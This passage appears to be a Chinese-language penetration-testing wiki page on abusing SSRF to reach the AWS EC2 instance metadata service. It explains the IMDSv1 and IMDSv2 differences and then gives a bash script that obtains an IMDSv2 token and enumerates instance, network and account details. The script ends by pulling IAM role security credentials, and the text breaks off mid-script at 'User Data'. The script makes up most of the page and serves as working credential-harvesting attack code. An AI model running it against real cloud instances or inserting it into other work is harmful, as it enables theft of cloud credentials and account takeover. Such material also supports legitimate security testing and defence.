{% embed url="https://discord.gg/tryhardsecurity" %} *** ## AWS ### 在AWS EC2环境中滥用SSRF **元数据**端点可以从任何EC2机器内部访问，并提供有关其的有趣信息。它可以在以下URL中访问：`http://169.254.169.254`（[有关元数据的信息在此处](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)）。 元数据端点有**2个版本**。第一个版本允许通过**GET**请求访问端点（因此任何**SSRF都可以利用它**）。对于**版本2**，[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)，您需要发送带有**HTTP头**的**PUT**请求来请求一个**令牌**，然后使用该令牌来通过另一个HTTP头访问元数据（因此使用SSRF**更加复杂**）。 {% hint style="danger" %} 请注意，如果EC2实例正在强制执行IMDSv2，[**根据文档**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)，**PUT请求的响应**将具有**1个跳数限制**，这将使得无法从EC2实例内部的容器中访问EC2元数据。 此外，**IMDSv2**还将**阻止包含`X-Forwarded-For`头的请求以获取令牌**。这是为了防止配置错误的反向代理能够访问它。 {% endhint %} 您可以在文档中找到有关[元数据端点的信息](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html)。在以下脚本中，从中获取了一些有趣的信息： ```bash EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN" URL="http://169.254.169.254/latest/meta-data" aws_req="" if [ "$(command -v curl)" ]; then aws_req="curl -s -f -H '$HEADER'" elif [ "$(command -v wget)" ]; then aws_req="wget -q -O - -H '$HEADER'" else echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" fi printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo "" printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo "" printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo "" printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo "" printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo "" printf "region: "; eval $aws_req "$URL/placement/region"; echo "" echo "" echo "Account Info" eval $aws_req "$URL/identity-credentials/ec2/info"; echo "" eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo "" echo "" echo "Network Info" for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do echo "Mac: $mac" printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo "" printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo "" printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo "" echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo "" printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo "" echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo "" printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo "" echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo "" echo "" done echo "" echo "IAM Role" eval $aws_req "$URL/iam/info" for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do echo "Role: $role" eval $aws_req "$URL/iam/security-credentials/$role"; echo "" echo "" done echo "" echo "User Data" #
